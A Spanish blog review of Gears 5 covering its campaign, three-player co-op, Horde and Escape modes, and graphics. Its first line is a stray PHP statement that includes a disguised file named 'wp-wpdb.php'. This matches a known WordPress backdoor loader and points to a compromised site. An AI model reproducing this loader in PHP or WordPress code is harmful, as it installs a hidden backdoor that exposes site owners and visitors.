if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Gears 5, explorando nuevos senderos – La Fortaleza de LeChuck

Gears 5, explorando nuevos senderos

La paz es un concepto efímero. Tras la guerra contra los Locust y la posterior muerte de la reina Myrrah, fue momento de reconstrucción y esperanza. Las ciudades volvían a levantarse y la población formaba familias que disfrutaban de una nueva vida en Sera. Los jóvenes Kait, Del y JD crecieron en este nuevo mundo con ideales y rebeldía, pero cuando el mal emerge desde lo más profundo de la tierra toda ilusión se esfuma.

En el cénit de Gears of War 4, aparecía un nuevo enemigo llamado La Colmena formado por multitud de criaturas que estaban juntando un gran ejército dispuesto a sembrar el caos en la región. La madre de Kait acaba siendo una víctima de la nueva amenaza y ,en el lecho de muerte, entrega un extraño medallón a su hija. Llegados a Gears 5, la historia continúa tiempo después con la región infestada por el enjambre, cuyo poder devastador solo deja muerte a su paso. En paralelo a estos hechos, descubrimos el pasado de Kait, quien durante la historia sufre un trastorno mental que le ocasiona visiones infernales.

La campaña de Gears 5 es intensa y encarnizada, algo habitual en la marca, sin embargo el equipo de The Coalition también quería dotarlo de mayor importancia narrativa, es así cómo el título se toma más tiempo para explicar fragmentos de la trama adecuadamente. Muy en consonancia con esto, se han introducido zonas grandes en ciudades donde los npcs se comunican al pasar por el lugar, en estas ubicaciones hallaremos documentos relacionados con el lore que servirán para rellenar espacios en blanco. Sin embargo, la exploración del juego toma realmente protagonismo en las dos áreas que se han dispuesto para realizar pequeñas misiones secundarias relacionadas con nuestro amigo robótico Jack. Personalmente, aprecio el esfuerzo por crear una campaña menos lineal mediante estas áreas grandes, pero quizá el mayor error ha sido situarlas consecutivamente. No obstante, creo que es una más que decente primera iteración para un género históricamente encapsulado. A la espera de ver cómo evoluciona en futuras entregas.

La campaña se disfruta mucho más en cooperativo, ya que este título ha sido pensando para que cada jugador viva una experiencia de juego única. El coop de hasta 3 nos pone en la piel de Del, Kait y Jack, este último es el robot que nos sacará de más de un apuro. La campaña la jugué llevando a Kait mientras mi compi Museboy controlaba a Del. En algunos niveles yo sufría junto a la chica visiones infernales que él no contemplaba en su pantalla. No obstante, al jugar en pantalla partida, podía ver en mi lado qué estaba ocurriendo y entender así mi inactividad. También probamos de jugar a 3 en algunos niveles cuando se unió Musekaji que hizo del todopoderoso Jack, algo que nos sorprendió positivamente. A diferencia de lo que se puede pensar, jugar con Jack es una experiencia la mar de entretenida. Todas las tareas de ingeniería y apoyo que ejecuta Jack las llevará a cabo el jugador accediendo por estrechos lugares y huecos inaccesibles para los humanos. Y este jugador verá rincones nuevos y llevará a cabo nuevas acciones.

Jugar a 3 jugadores hace que el juego sea mucho más dinámico y rejugable. Asimismo, y como observé jugando como Kait, la colaboración será necesaria en algunas situaciones. Recuerdo cómo mi visión se reducía mientras nos enfrentábamos a hordas, o incluso a un jefe. Tensión y nervios, y satisfacción posterior.
Para acabar con este apartado diré que la campaña me ha parecido que albergaba un conjunto variado de misiones y tenía el equilibro perfecto entre acción y exploración de lugares pero, como indiqué unas líneas más arriba, de cara a próximos títulos hay que intentar nuevas fórmulas para que las áreas abiertas sean más satisfactorias.

Hablemos un poquito del online. Mi modo favorito del multijugador es sin duda el horda, y seguramente una de las razones sea mi habilidad nula en el PVP.  Por otro lado, para mí supone todo un reto aguantar oleadas cada vez más duras y salir victoriosa. He conseguido sobrevivir en los dos primeros niveles de dificultad, aunque me ha costado lo mío ya que han incrementado la dureza. El nivel más bajo es principiante, y no es tan sumamente fácil como podrías pensar, o al menos no como lo era en el Geras 4. En cuanto al siguiente, el intermedio, tiene la novedad de que si el equipo cae en una oleada…game over. Seguramente este cambio responda a que han añadido nuevos niveles de dificultad, pero seguro que los más novatos sufren las consecuencias. Otro cambio es que ahora la energía dejaba por los enemigos abatidos también sirve para mejorar las habilidades individuales, lo que desencadena que muchos jugadores egoístas no la compartan en el ‘fabricator’. Las hordas de 50 oleadas tienen una media de 2 horas de duración, así que os recomiendo que lo intentéis siempre con amigos o gente seria.

Como novedad en el multijugador, tenemos el modo escape, que como bien indica el título, se trata de….escapar. Raudos y veloces tendremos que hallar los pasillos correctos para huir mientras acabamos con enemigos y evitamos el gas que avanza aceleradamente. Sería algo así como la versión reducida del modo horda. Muy entretenido.

Dos pinceladas de los gráficos, o podría incluso resumirlo en una palabra: espectacular. Cada detalle ha sido cuidado y es difícil encontrar las feas texturas u objetos deformados que inundaban los entornos de Gears 4. También merece todo tipo de halagos las animaciones. Buen trabajo.

No soy una gran aficionada a los shooters en tercera persona con coberturas, ni una gran seguidora de Gears, pero disfruto descubriendo las nuevas aventuras que hay detrás de cada entrega. En Gears 5 he apreciado el esfuerzo de The Coalition por llevar a la saga a una nueva dimensión con novedades y potencia para que la franquicia no pierda el lustre del pasado. Veremos qué le depara en Scarlett.

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Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

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